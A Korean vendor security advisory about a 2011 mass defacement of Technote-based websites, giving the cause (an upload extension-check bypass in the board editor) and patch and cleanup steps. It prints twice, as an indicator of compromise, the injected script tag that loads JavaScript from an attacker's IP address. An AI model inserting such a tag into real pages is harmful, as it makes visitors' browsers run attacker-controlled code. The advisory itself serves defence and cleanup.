[개요]
2011/07/05 오전 4시 ~ 6시 경 여러 웹호스팅 계정에서 테크노트 파일변조 해킹 발생.
원격 실행지는 중국으로 추정.
 

[증상]
테크노트 기반의 홈페이지 전면 혹은 부분적 출력 오류.
 

[변조내용]
테크노트 내의 .php 나 .html 확장자를 가진 불특정 파일에
<script src=http://222.97.189.123/auctionsid/js/set.js></script>  코드가 삽입됨.
 

[해킹경로]
테크노트 게시판 에티터의  파일첨부 삽입 취약점을 이용,
업로드 파일 확장자 체크 과정을 우회하는 방법으로 해킹파일을 업로드함.
 
 
******-******-************-******-************-******-******--

[패치방법]
 
 
1, 파일교체
    technote/include/board/editsub/file_controll.php
    technote/include/board/editsub/file_controll2.php
    이 두개의 파일을 교체 하십시오.
    EUC-KR :   file_controll_php_euckr.zip         
    UTF-8    :    file_controll_php_utf8.zip     
 

2, 파일삭제
technote/data/board/게시판명/its_temp_tnt_dir/
디렉토리 내에 어떤 파일이 있으면 다 삭제하십시오.
게시판 별로 폴더가 있을 것이니 모두 확인하십시오.
해킹코드가 들어 있는 파일일 수 있습니다.
 
 
3, 변조여부 확인 및 수정
FTP 접속해서 파일변경 날짜를 확인하면 쉽게 찾을 수 있습니다.
변조가 의심되는 파일은 다운 받아서 편집기로 열어 소스를 확인하십시오.
변조된 파일은 소스 끝 부분에
<script src=http://222.97.189.123/auctionsid/js/set.js></script>
코드가 삽입되어 있으니 이 코드를 제거후 다시 제 위치에 올리십시오.
우선적으로 확인할 파일
   technote/lib.php
   technote/*.php
   technote/include/board/*.php
   technote/include/admin/root/*.php
   technote/contact/*.php
 
 
 

기타
사용자분들께 불편을 드려 대단히 죄송합니다.
테크노트 내의 모든 요소에 대해 이와 유사한 방식의 해킹가능성을 분석중이나 아직
게시판 에디터 외에서는 유사 취약점을 발견하지 못했습니다.
이상이 발견되면 즉시 추가 공지를 하도록 하겠습니다.